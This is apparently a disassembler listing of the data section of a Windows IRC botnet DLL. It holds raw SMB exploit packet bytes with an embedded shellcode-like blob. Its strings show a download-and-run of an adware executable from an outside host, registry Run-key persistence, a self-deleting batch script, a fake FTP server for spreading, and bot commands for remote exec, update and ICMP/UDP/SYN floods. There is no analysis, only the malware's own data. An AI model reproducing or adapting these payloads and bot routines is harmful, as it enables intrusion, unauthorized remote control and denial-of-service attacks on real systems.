dd 87A1C89Ch, 0BEC12CCDh, 53612162h, 332B31B6h, 51A101EAh
dd 0B9360985h, 0BCF11C2Ah, 531A6E62h, 0A8A121A9h, 98A180F5h
dd 564273E1h, 88C623A7h, 8B4CFB16h, 0EA19458Fh, 0EA595A81h
dd 8D579B6h, 24C7E681h, 0ED57DD2h, 0BECFA4B6h, 0DA22C068h
dd 272847BCh, 0D1F34539h, 277D801Ch, 8B797E3Fh, 8B697EBAh
dd 8D57EAAh, 0E9FE458Fh, 39A37E8Fh, 8E457Ch
; char byte_1001132C[]
byte_1001132C db 2 dup(0) ; DATA XREF: sub_10003D60+272o
dw 5701h
dd 424D53FFh, 2Fh, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
db 1
align 4
db 0
db 1Fh, 0, 0C2h
db 99h ; ™
db 0EAh, 7Dh, 27h
db 3Fh ; ?
db 47h, 3Ah, 89h
db 0BCh ; ¼
db 0D2h, 0FAh, 0B0h
db 4Dh ; M
db 80h, 4, 31h
db 0BEh ; ¾
db 0D2h, 0FCh, 8Bh
db 0BCh ; ¼
db 0D2h, 0FAh, 0B0h
db 0Ch
db 64h, 0ACh, 91h
db 0BEh ; ¾
db 0D2h, 0FCh, 88h
db 0BDh ; ½
db 79h, 7Fh, 27h
db 39h ; 9
db 0BEh, 42h, 3Fh
db 90h ;
db 0EBh, 53h, 8Fh
db 16h
db 0FBh, 7Fh, 27h
db 39h ; 9
db 4Bh, 40h, 0BCh
db 8Fh ;
db 45h, 49h, 0B5h
db 60h ; `
db 0C8h, 40h, 88h
db 0B0h ; °
db 4, 0E6h, 51h
db 0Eh
db 47h, 6Eh, 51h
db 0Bh
db 1Ch, 0EAh, 2Bh
db 43h ; C
db 0D3h, 68h, 0F5h
db 17h
db 6Fh, 6, 4Bh
db 64h ; d
db 57h, 12h, 73h
db 42h ; B
db 86h, 42h, 0AAh
db 17h
db 9Eh, 3Ch, 27h
db 9Ch ; œ
db 69h, 0D5h, 0Eh
db 0B2h ; ²
db 7Ah, 78h, 89h
db 0B8h ; ¸
db 7Ch, 40h, 0D9h
db 0B8h ; ¸
db 7Ch, 7Fh, 89h
db 16h
db 0FDh, 42h, 75h
db 30h ; 0
db 28h, 0E4h, 8Bh
db 16h
db 0FBh, 40h, 27h
db 16h
db 1Ah, 0D5h, 8
db 62h ; b
db 7Ah, 0D6h, 5Bh
db 2Dh ; -
db 49h, 0D5h, 0Eh
db 0BBh ; »
db 0D2h, 0FAh, 0B0h
db 6
db 0E3h, 0CAh, 0B8h
db 0BAh ; º
db 0D2h, 0FCh, 27h
a9arz4tfled8ojd db '9arZ4TFLED8OjD3AICISR7A14gfpAGAI4Mvub1yWTdTZoEnGqgR1fEZmAq9LLzHoP'
db 'tLGaj0Uihzzki3Lp4GSJTt9X3xCgTtXw2wBRMWp6u83Rfy',0
; char byte_10011488[]
byte_10011488 db 2 dup(0) ; DATA XREF: sub_10003D60+2A9o
dw 5701h
dd 424D53FFh, 2Fh, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 52001F00h, 4E373636h, 76486F54h, 68633251h, 43683667h
dd 4B465439h, 57567967h, 42394553h, 574F654Ah, 396B4273h
dd 56317652h, 70426E42h, 58464275h, 62464835h, 336D784Ah
dd 30345053h, 6C46767Ah, 6A37544Fh, 5459454Ah, 3662696Fh
dd 326A5765h, 65316344h, 5559364Bh, 78383233h, 7542645Ah
dd 70527956h, 45473336h, 3672317Ah, 70355051h, 3159584Fh
dd 70393275h, 6A415074h, 787A6534h, 0A595069h, 4A000208h
dd 396C5752h, 4387750h, 32000208h, 56494937h, 68556F6Dh
dd 41516956h, 474C4335h, 30454F6Bh, 30523651h, 7874646Fh
dd 4703265h, 35000208h, 78327879h, 4353870h, 51000208h
dd 4A363967h, 56726571h, 53584755h, 614F5958h, 62477A61h
dd 73615648h, 344B4D33h, 793942h, 78F9BF00h, 1000000h
dd 0
dd 1000000h, 0
dd 7BEEB400h, 0
; char byte_100115E4[]
byte_100115E4 db 3 dup(0) ; DATA XREF: sub_10003D60+2DDo
db 66h
dd 424D53FFh, 25h, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 1C000010h, 0E0040000h, 0FFh
dd 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 0
; char byte_10011650[]
byte_10011650 db 2 dup(0) ; DATA XREF: sub_10003D60+314o
dw 5701h
dd 424D53FFh, 2Fh, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF0Eh, 400000h, 0FF000000h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 1C001F00h, 118C467h, 0
dd 1000000h, 0
dd 6334BF00h, 1, 63000000h, 93000001h, 0FC489648h, 0F9989340h
dd 969F9F98h, 40902737h, 0D64E4B9Fh, 83C92B93h, 0EED9AFE9h
dd 0F42474D9h, 1373815Bh, 0E9D82A2Dh, 0E2FCEB83h, 27EEACF4h
dd 9CD5D206h, 95C14715h, 27D5D401h, 0B4A14D16h, 9DA109CDh
dd 0DD56A6D5h, 53C52C91h, 87A135A6h, 91C12CC9h, 0D9A11962h
dd 41EA1C07h, 0ACEAA945h, 0D5E0ECEEh, 2CC1EFE8h, 0F00E79D2h
dd 87A1C89Ch, 0BEC12CCDh, 53612162h, 332B31B6h, 51A101EAh
dd 0B9360985h, 0BCF11C2Ah, 531A6E62h, 0A8A121A9h, 98A180F5h
dd 564273E1h, 88C623A7h, 8B4CFB16h, 0EA19458Fh, 0EA595A81h
dd 8D579B6h, 24C7E681h, 0ED57DD2h, 0BECFA4B6h, 0DA22C068h
dd 272847BCh, 0D1F34539h, 277D801Ch, 8B797E3Fh, 8B697EBAh
dd 8D57EAAh, 0E9FE458Fh, 39A37E8Fh, 8E457Ch
; char byte_100117AC[]
byte_100117AC db 2 dup(0) ; DATA XREF: sub_10003D60+34Bo
dw 5701h
dd 424D53FFh, 2Fh, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
db 1
align 4
db 0
db 1Fh, 0, 0C2h
db 99h ; ™
db 0EAh, 7Dh, 27h
db 3Fh ; ?
db 47h, 3Ah, 89h
db 0BCh ; ¼
db 0D2h, 0FAh, 0B0h
db 4Dh ; M
db 80h, 4, 31h
db 0BEh ; ¾
db 0D2h, 0FCh, 8Bh
db 0BCh ; ¼
db 0D2h, 0FAh, 0B0h
db 0Ch
db 64h, 0ACh, 91h
db 0BEh ; ¾
db 0D2h, 0FCh, 88h
db 0BDh ; ½
db 79h, 7Fh, 27h
db 39h ; 9
db 0BEh, 42h, 3Fh
db 90h ;
db 0EBh, 53h, 8Fh
db 16h
db 0FBh, 7Fh, 27h
db 39h ; 9
db 4Bh, 40h, 0BCh
db 8Fh ;
db 45h, 49h, 0B5h
db 60h ; `
db 0C8h, 40h, 88h
db 0B0h ; °
db 4, 0E6h, 51h
db 0Eh
db 47h, 6Eh, 51h
db 0Bh
db 1Ch, 0EAh, 2Bh
db 43h ; C
db 0D3h, 68h, 0F5h
db 17h
db 6Fh, 6, 4Bh
db 64h ; d
db 57h, 12h, 73h
db 42h ; B
db 86h, 42h, 0AAh
db 17h
db 9Eh, 3Ch, 27h
db 9Ch ; œ
db 69h, 0D5h, 0Eh
db 0B2h ; ²
db 7Ah, 78h, 89h
db 0B8h ; ¸
db 7Ch, 40h, 0D9h
db 0B8h ; ¸
db 7Ch, 7Fh, 89h
db 16h
db 0FDh, 42h, 75h
db 30h ; 0
db 28h, 0E4h, 8Bh
db 16h
db 0FBh, 40h, 27h
db 16h
db 1Ah, 0D5h, 8
db 62h ; b
db 7Ah, 0D6h, 5Bh
db 2Dh ; -
db 49h, 0D5h, 0Eh
db 0BBh ; »
db 0D2h, 0FAh, 0B0h
db 6
db 0E3h, 0CAh, 0B8h
db 0BAh ; º
db 0D2h, 0FCh, 27h
a9arz4tfled8o_0 db '9arZ4TFLED8OjD3AICISR7A14gfpAGAI4Mvub1yWTdTZoEnGqgR1fEZmAq9LLzHoP'
db 'tLGaj0Uihzzki3Lp4GSJTt9X3xCgTtXw2wBRMWp6u83Rfy',0
; char byte_10011908[]
byte_10011908 db 2 dup(0) ; DATA XREF: sub_10003D60+382o
dw 5701h
dd 424D53FFh, 2Fh, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 52001F00h, 4E373636h, 76486F54h, 68633251h, 43683667h
dd 4B465439h, 57567967h, 42394553h, 574F654Ah, 396B4273h
dd 56317652h, 70426E42h, 58464275h, 62464835h, 336D784Ah
dd 30345053h, 6C46767Ah, 6A37544Fh, 5459454Ah, 3662696Fh
dd 326A5765h, 65316344h, 5559364Bh, 78383233h, 7542645Ah
dd 70527956h, 45473336h, 3672317Ah, 70355051h, 3159584Fh
dd 70393275h, 6A415074h, 787A6534h, 0A595069h, 4A000208h
dd 396C5752h, 4387750h, 32000208h, 56494937h, 68556F6Dh
dd 41516956h, 474C4335h, 30454F6Bh, 30523651h, 7874646Fh
dd 4703265h, 35000208h, 78327879h, 4353870h, 51000208h
dd 4A363967h, 56726571h, 53584755h, 614F5958h, 62477A61h
dd 73615648h, 344B4D33h, 793942h, 78F9BF00h, 1000000h
dd 0
dd 1000000h, 0
dd 7BEEB400h, 0
; char byte_10011A64[]
byte_10011A64 db 3 dup(0) ; DATA XREF: sub_10003D60+3B6o
db 66h
dd 424D53FFh, 25h, 20011800h, 3 dup(0)
dd 1D300800h, 0EC840800h, 1C000010h, 0E0040000h, 0FFh
dd 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 0
unk_10011AD0 db 11h ; DATA XREF: sub_1000504C+9o
aTvPw99qW db 'Tv}}pw~9[`9q(}}*w',0
align 4
dd 1Bh dup(0)
aWebreader db 'WebReader',0 ; DATA XREF: start+2Do
align 4
aHttpAdware_rxm db 'http://adware.rxmods.net/adware.exe',0 ; DATA XREF: start+43o
; char Mode[]
Mode db 'wb',0 ; DATA XREF: start+58o
align 4
; char aCAdware_exe[]
aCAdware_exe db 'c:\adware.exe',0 ; DATA XREF: start+5Do
align 4
; char File[]
File db 'c:\adware.exe',0 ; DATA XREF: start+D3o
align 4
; char Operation[]
Operation db 'open',0 ; DATA XREF: start+D8o
align 4
; char aSS_2[]
aSS_2 db '%s%s',0 ; DATA XREF: start+2B4o
align 4
a95 db '95',0 ; DATA XREF: sub_10004987+7Co
align 4
aNt db 'NT',0 ; DATA XREF: sub_10004987+8Eo
align 4
a98 db '98',0 ; DATA XREF: sub_10004987+A9o
align 10h
aMe db 'ME',0 ; DATA XREF: sub_10004987+C4o
align 4
a2000 db '2000',0 ; DATA XREF: sub_10004987+DFo
align 4
aXp db 'XP',0 ; DATA XREF: sub_10004987+FAo
align 10h
a??? db '???',0 ; DATA XREF: sub_10004987:loc_10004A8Ao
; char aSS_3[]
aSS_3 db '%s (%s)',0 ; DATA XREF: sub_10004987+129o
; char aOsWindowsSD_DD[]
aOsWindowsSD_DD db 'OS: Windows %s (%d.%d - %d), CPU: %dMHz, RAM: %d/%dMB free, box: '
; DATA XREF: sub_10004987+210o
db '%s, user: %s, sysdir: %s, uptime: %lud %luh %lum',0
align 10h
; char aIpSConnectedFr[]
aIpSConnectedFr db 'IP: %s, connected from: %s (%s)',0 ; DATA XREF: sub_10004BB5+24o
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_10004BF7+16o
; char aD_D_D_D_0[]
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_10004C83+48o
; char aSS_4[]
aSS_4 db '%s\%s',0 ; DATA XREF: sub_10004CE4+27o
align 10h
; char aSStart[]
aSStart db '%s,start',0 ; DATA XREF: sub_10004CE4+8Do
align 4
; char aRundll32_exe[]
aRundll32_exe db 'rundll32.exe',0 ; DATA XREF: sub_10004CE4+B2o
align 4
; char aOpen_0[]
aOpen_0 db 'open',0 ; DATA XREF: sub_10004CE4+B7o
align 4
; char aWindllS[]
aWindllS db 'WinDLL (%s)',0 ; DATA XREF: sub_10004DB1+20o
; char aSS_5[]
aSS_5 db '%s\%s',0 ; DATA XREF: sub_10004DB1+46o
align 4
; char aRundll32_exeSS[]
aRundll32_exeSS db 'rundll32.exe %s,start',0 ; DATA XREF: sub_10004DB1+67o
align 10h
; char SubKey[]
SubKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_10004DB1+97o
align 10h
; char aSS_6[]
aSS_6 db '%s\%s',0 ; DATA XREF: sub_10004EA7+39o
align 4
; char aSuninstall_bat[]
aSuninstall_bat db '%suninstall.bat',0 ; DATA XREF: sub_10004EA7+5Ao
; char aWindllS_0[]
aWindllS_0 db 'WinDLL (%s)',0 ; DATA XREF: sub_10004EA7+92o
; char aSoftwareMicr_0[]
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_10004EA7+C2o
align 4
; char a[]
a@echoOff1DelSI db '@echo off',0Dh,0Ah ; DATA XREF: sub_10004EA7+109o
db ':1',0Dh,0Ah
db 'del "%s"',0Dh,0Ah
db 'if exist "%s" goto 1',0Dh,0Ah
db 'del "%s"',0Dh,0Ah,0
align 10h
; char aOpen_1[]
aOpen_1 db 'open',0 ; DATA XREF: sub_10004EA7+18Co
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_10005380+30o
align 4
; char aOpen_2[]
aOpen_2 db 'open',0 ; DATA XREF: sub_10005380+156o
align 4
; char aSStart_0[]
aSStart_0 db '%s,start',0 ; DATA XREF: sub_10005380+16Co
align 4
; char aRundll32_exe_0[]
aRundll32_exe_0 db 'rundll32.exe',0 ; DATA XREF: sub_10005380+191o
align 4
; char aOpen_3[]
aOpen_3 db 'open',0 ; DATA XREF: sub_10005380+196o
align 10h
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_10005380:loc_10005523o
align 4
; char aOpen_4[]
aOpen_4 db 'open',0 ; DATA XREF: sub_10005380+1D1o
align 10h
aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_10005584+30o
align 4
aSpeed_test db 'speed.test',0 ; DATA XREF: sub_10005584+110o
align 4
; char aSpeedtestCompl[]
aSpeedtestCompl db 'speedtest complete (upload speed: %luKB/s)',0
; DATA XREF: sub_10005584+202o
align 4
aTemp db 'Temp',0 ; DATA XREF: .text:1000594Fo
align 4
aHttpWww_whatis db 'http://www.whatismyip.org',0
align 4
aMainExternalIp db 'Main-> External IP: %s',0 ; DATA XREF: .text:100059BBo
align 10h
a220WelcomeToFt db '220 Welcome to FTPd',0Ah,0 ; DATA XREF: sub_10005C3D+2E5o
align 4
; char cp[]
cp db '61.251.128.0',0 ; DATA XREF: sub_10005C3D+302o
align 4
; char a61_251_128_255[]
a61_251_128_255 db '61.251.128.255',0 ; DATA XREF: sub_10005C3D+327o
align 4
; char a210_93_224_0[]
a210_93_224_0 db '210.93.224.0',0 ; DATA XREF: sub_10005C3D+351o
align 4
; char a210_93_224_255[]
a210_93_224_255 db '210.93.224.255',0 ; DATA XREF: sub_10005C3D+376o
align 4
; char aSS_7[]
aSS_7 db '%s %s',0 ; DATA XREF: sub_10005C3D+540o
align 10h
; char Str1[]
Str1 db 'USER',0 ; DATA XREF: sub_10005C3D+55Co
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_10005C3D+572o
align 10h
; char aPass[]
aPass db 'PASS',0 ; DATA XREF: sub_10005C3D+5B4o
align 4
a230UserLoggedI db '230 User logged in',0Ah,0 ; DATA XREF: sub_10005C3D+5CAo
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_10005C3D+609o
align 4
dword_10011F34 dd 20353132h ; DATA XREF: sub_10005C3D+61Ar
dword_10011F38 dd 64505446h ; DATA XREF: sub_10005C3D+626r
word_10011F3C dw 0Ah ; DATA XREF: sub_10005C3D+632r
align 10h
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_10005C3D+671o
align 4
dword_10011F48 dd 20303533h ; DATA XREF: sub_10005C3D+682r
dword_10011F4C dd 74736552h ; DATA XREF: sub_10005C3D+68Er
dword_10011F50 dd 69747261h ; DATA XREF: sub_10005C3D+699r
dword_10011F54 dd 0A676Eh ; DATA XREF: sub_10005C3D+6A5r
; char aPwd[]
aPwd db 'PWD',0 ; DATA XREF: sub_10005C3D+6E3o
a257IsCurrentDi db '257 "/" is current directory',0Ah,0 ; DATA XREF: sub_10005C3D+6F9o
align 4
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_10005C3D+73Ao
align 4
; char aA[]
aA: ; DATA XREF: sub_10005C3D+756o
unicode 0, <A>,0
dword_10011F88 dd 20303032h ; DATA XREF: sub_10005C3D+767r
dword_10011F8C dd 65707954h ; DATA XREF: sub_10005C3D+772r
dword_10011F90 dd 74657320h ; DATA XREF: sub_10005C3D+77Er
dword_10011F94 dd 206F7420h ; DATA XREF: sub_10005C3D+78Ar
word_10011F98 dw 0A41h ; DATA XREF: sub_10005C3D+795r
byte_10011F9A db 0 ; DATA XREF: sub_10005C3D+7A3r
align 4
; char aType_0[]
aType_0 db 'TYPE',0 ; DATA XREF: sub_10005C3D+7E1o
align 4
; char aI[]
aI: ; DATA XREF: sub_10005C3D+7FDo
unicode 0, <I>,0
dword_10011FA8 dd 20303032h ; DATA XREF: sub_10005C3D+80Er
dword_10011FAC dd 65707954h ; DATA XREF: sub_10005C3D+81Ar
dword_10011FB0 dd 74657320h ; DATA XREF: sub_10005C3D+825r
dword_10011FB4 dd 206F7420h ; DATA XREF: sub_10005C3D+831r
word_10011FB8 dw 0A49h ; DATA XREF: sub_10005C3D+83Dr
byte_10011FBA db 0 ; DATA XREF: sub_10005C3D+84Ar
align 4
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_10005C3D+888o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_10005C3D+89Eo
align 10h
; char aList[]
aList db 'LIST',0 ; DATA XREF: sub_10005C3D+8DFo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_10005C3D+8F5o
align 10h
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_10005C3D+937o
align 4
a200PortCommand db '200 PORT command successful',0Ah,0 ; DATA XREF: sub_10005C3D+951o
align 4
; char aS_0[]
aS_0 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
; DATA XREF: sub_10005C3D+989o
db ']',0
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_10005C3D+9EBo
align 4
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_10005C3D+A38o
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_10005C3D+A81o
align 4
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_10005C3D+A9Bo
align 4
a226TransferC_0 db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_10005C3D+AAEo
align 10h
a425CanTOpenDat db '425 Can',27h,'t open data connection',0Ah,0
; DATA XREF: sub_10005C3D+AC3o
; char aFtpTransferCom[]
aFtpTransferCom db 'ftp transfer complete to %s',0 ; DATA XREF: sub_10005C3D+B6Ao
; char aQuit_0[]
aQuit_0 db 'QUIT',0 ; DATA XREF: sub_10005C3D+BADo
align 4
dword_10012104 dd 20313232h ; DATA XREF: sub_10005C3D+BBEr
dword_10012108 dd 646F6F47h ; DATA XREF: sub_10005C3D+BCAr
dword_1001210C dd 0A657962h ; DATA XREF: sub_10005C3D+BD6r
byte_10012110 db 0 ; DATA XREF: sub_10005C3D+BE1r
align 4
dd 1
dword_10012118 dd 57524D54h ; DATA XREF: sub_10007005+9r
dword_1001211C dd 6B726Fh ; DATA XREF: sub_10007005+11r
dword_10012120 dd 3539h ; DATA XREF: sub_10007005+63o
dword_10012124 dd 544Eh ; DATA XREF: sub_10007005+73o
dword_10012128 dd 3839h ; DATA XREF: sub_10007005+91o
dword_1001212C dd 454Dh ; DATA XREF: sub_10007005+ACo
dword_10012130 dd 4B32h ; DATA XREF: sub_10007005+C7o
dword_10012134 dd 5058h ; DATA XREF: sub_10007005+E2o
dword_10012138 dd 334B32h ; DATA XREF: sub_10007005+FDo
dword_1001213C dd 3F3F3Fh ; DATA XREF: sub_10007005:loc_1000710Bo
; char aUserSS[]
aUserSS db 'USER %s "" "" :%s',0 ; DATA XREF: sub_10007005+240o
align 4
; char aNickSSS[]
aNickSSS db 'NICK |%s%s%s',0 ; DATA XREF: sub_10007005+259o
align 4
; char aPassS[]
aPassS db 'PASS %s',0 ; DATA XREF: sub_10007005+276o
; char asc_1001216C[]
asc_1001216C db 0Dh,0Ah,0 ; DATA XREF: sub_10007293+32o
align 10h
; char aPrivmsgSS[]
aPrivmsgSS db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_10007303+3Do
align 10h
; char asc_10012180[]
asc_10012180 db 0Dh,0Ah,0 ; DATA XREF: sub_10007303+57o
align 4
; char aPing[]
aPing db 'PING',0 ; DATA XREF: sub_10007424+12Do
align 4
; char aPongS[]
aPongS db 'PONG %s',0 ; DATA XREF: sub_10007424+143o
; char a001[]
a001 db '001',0 ; DATA XREF: sub_10007424+168o
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_10007424+193o
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_10007424+1AAo
align 10h
; char a302[]
a302 db '302',0 ; DATA XREF: sub_10007424+1C0o
; char a433[]
a433 db '433',0 ; DATA XREF: sub_10007424+31Eo
; char aNickS[]
aNickS db 'NICK %s',0 ; DATA XREF: sub_10007424+336o
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_10007424+34Co
align 4
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_10007424+3A7o
align 10h
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_10007424+3EEo
align 4
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_10007424+404o
; char a332[]
a332 db '332',0 ; DATA XREF: sub_10007424+41Ao
; char aPrivmsg_0[]
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_10007424+434o
; char aSPrivmsgSS[]
aSPrivmsgSS db ':%s PRIVMSG %s :%s',0 ; DATA XREF: sub_10007424+5A6o
align 4
; char a332_0[]
a332_0 db '332',0 ; DATA XREF: sub_10007424+5DAo
; char aS332SSS[]
aS332SSS db ':%s 332 %s %s :%s',0 ; DATA XREF: sub_10007424+6FDo
align 4
a@fbi_gov db '*@fbi.gov',0 ; DATA XREF: sub_10007424+739o
align 4
; char a332_1[]
a332_1 db '332',0 ; DATA XREF: sub_10007424+74Eo
; char aBotid[]
aBotid db 'botid',0 ; DATA XREF: sub_10007424+770o
align 4
; char aBotidS___[]
aBotidS___ db '{BOTID}: %s...',0 ; DATA XREF: sub_10007424+787o
align 4
; char aUptime[]
aUptime db 'uptime',0 ; DATA XREF: sub_10007424+7ABo
align 4
; char aUptimeLudLuhLu[]
aUptimeLudLuhLu db '{UPTIME}: %lud %luh %lum...',0 ; DATA XREF: sub_10007424+874o
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_10007424+898o
; char aSysinfoS___[]
aSysinfoS___ db '{SYSINFO}: %s...',0 ; DATA XREF: sub_10007424+8B0o
align 4
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_10007424+8D4o
; char aNetinfoS___[]
aNetinfoS___ db '{NETINFO}: %s...',0 ; DATA XREF: sub_10007424+8ECo
align 10h
; char aReconnect[]
aReconnect db 'reconnect',0 ; DATA XREF: sub_10007424+910o
align 4
; char aQuit_1[]
aQuit_1 db 'QUIT',0 ; DATA XREF: sub_10007424+922o
align 4
; char aExit[]
aExit db 'exit',0 ; DATA XREF: sub_10007424+93Fo
align 4
; char aQuit_2[]
aQuit_2 db 'QUIT',0 ; DATA XREF: sub_10007424+956o
align 4
; char aRemove[]
aRemove db 'remove',0 ; DATA XREF: sub_10007424+976o
align 4
; char aQuit_3[]
aQuit_3 db 'QUIT',0 ; DATA XREF: sub_10007424+9BBo
align 4
; char aRaw[]
aRaw db 'raw',0 ; DATA XREF: sub_10007424+9DDo
; char aS_1[]
aS_1 db ' %s',0 ; DATA XREF: sub_10007424+A10o
; char aRawS___[]
aRawS___ db '{RAW}: %s...',0 ; DATA XREF: sub_10007424+AA8o
align 4
; char aOpen_5[]
aOpen_5 db 'open',0 ; DATA XREF: sub_10007424+AC5o
align 4
; char aS_2[]
aS_2 db ' %s',0 ; DATA XREF: sub_10007424+AF8o
; char aOpen_6[]
aOpen_6 db 'open',0 ; DATA XREF: sub_10007424+B96o
align 10h
; char aOpenOpenedFile[]
aOpenOpenedFile db '{OPEN}: Opened file %s...',0 ; DATA XREF: sub_10007424+BAAo
align 4
; char aExec[]
aExec db 'exec',0 ; DATA XREF: sub_10007424+BCEo
align 4
; char aS_3[]
aS_3 db ' %s',0 ; DATA XREF: sub_10007424+C01o
; char aCS[]
aCS db '/C %s',0 ; DATA XREF: sub_10007424+C7Do
align 10h
; char aCmd_exe[]
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_10007424+CA2o
; char aOpen_7[]
aOpen_7 db 'open',0 ; DATA XREF: sub_10007424+CA7o
align 10h
; char aExecuteExecute[]
aExecuteExecute db '{EXECUTE}: Executed file %s...',0 ; DATA XREF: sub_10007424+CBBo
align 10h
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_10007424+CDFo
align 4
; char aS_4[]
aS_4 db ' %s',0 ; DATA XREF: sub_10007424+D12o
; char aDeletedFileS__[]
aDeletedFileS__ db '{DELETED}: FILE %s...',0 ; DATA XREF: sub_10007424+DAEo
align 4
; char aSpeedtest[]
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_10007424+DDFo
align 10h
; char aSpeedtest_0[]
aSpeedtest_0 db 'speedtest',0 ; DATA XREF: sub_10007424+E94o
align 4
; char aDownlow[]
aDownlow db 'downlow',0 ; DATA XREF: sub_10007424+F30o
; char aDownloadingDow[]
aDownloadingDow db '{DOWNLOADING}: Downloading file...',0 ; DATA XREF: sub_10007424+FC8o
align 4
; char aDownload[]
aDownload db 'download',0 ; DATA XREF: sub_10007424+FE3o
align 4
; char aIcmp[]
aIcmp db 'icmp',0 ; DATA XREF: sub_10007424+107Fo
align 4
; char aIcmpflood[]
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_10007424+10FBo
align 4
; char aIcmpFloodingSF[]
aIcmpFloodingSF db 'ICMP-Flooding %s for %s seconds.',0 ; DATA XREF: sub_10007424+1195o
align 4
; char aUdp[]
aUdp db 'udp',0 ; DATA XREF: sub_10007424+11B9o
; char aUdpflood[]
aUdpflood db 'udpflood',0 ; DATA XREF: sub_10007424+1255o
align 4
; char aUdpFloodingSOn[]
aUdpFloodingSOn db 'UDP-Flooding %s on port %s for %s seconds.',0
; DATA XREF: sub_10007424+12FAo
align 4
; char aSyn[]
aSyn db 'syn',0 ; DATA XREF: sub_10007424+131Eo
; char aSynflood[]
aSynflood db 'synflood',0 ; DATA XREF: sub_10007424+13BAo
align 4
; char aSSynFloodingSO[]
aSSynFloodingSO db '%s SYN-Flooding %s on port %s for %s seconds.',0
; DATA XREF: sub_10007424+143Co
align 4
; char aDdosstop[]
aDdosstop db 'ddosstop',0 ; DATA XREF: sub_10007424+1460o
align 4
; char aIcmpflood_0[]
aIcmpflood_0 db 'icmpflood',0 ; DATA XREF: sub_10007424+1472o
align 10h
; char aUdpflood_0[]
aUdpflood_0 db 'udpflood',0 ; DATA XREF: sub_10007424+147Fo
align 4
; char aSynflood_0[]
aSynflood_0 db 'synflood',0 ; DATA XREF: sub_10007424+148Co
align 4
; char aDdosFloodHasSt[]
aDdosFloodHasSt db 'DDOS FLOOD HAS STOPPED',0 ; DATA XREF: sub_10007424+1499o
align 10h
; char aUpdate[]
aUpdate db 'update',0 ; DATA XREF: sub_10007424+14BDo
align 4
aExe db 'exe',0 ; DATA XREF: sub_10007424+1579o
aDll db 'dll',0 ; DATA XREF: sub_10007424:loc_100089A9o
; char aSS_S[]
aSS_S db '%s\%s.%s',0 ; DATA XREF: sub_10007424+15A4o
align 4
; char aUpdatingUpdate[]
aUpdatingUpdate db '{UPDATING}: Updated file... [FILE: %s]',0
; DATA XREF: sub_10007424+15DAo
align 4
; char aUpdate_0[]
aUpdate_0 db 'update',0 ; DATA XREF: sub_10007424+15F5o
align 4
; char aHttpd[]
aHttpd db '!httpd',0 ; DATA XREF: sub_10007424+1691o
align 4
; char aExploitedHttpS[]
aExploitedHttpS db '{EXPLOITED-HTTP}: Started on %s:83...',0Dh,0Ah,0
; DATA XREF: sub_10007424+16A8o
; char aTl[]
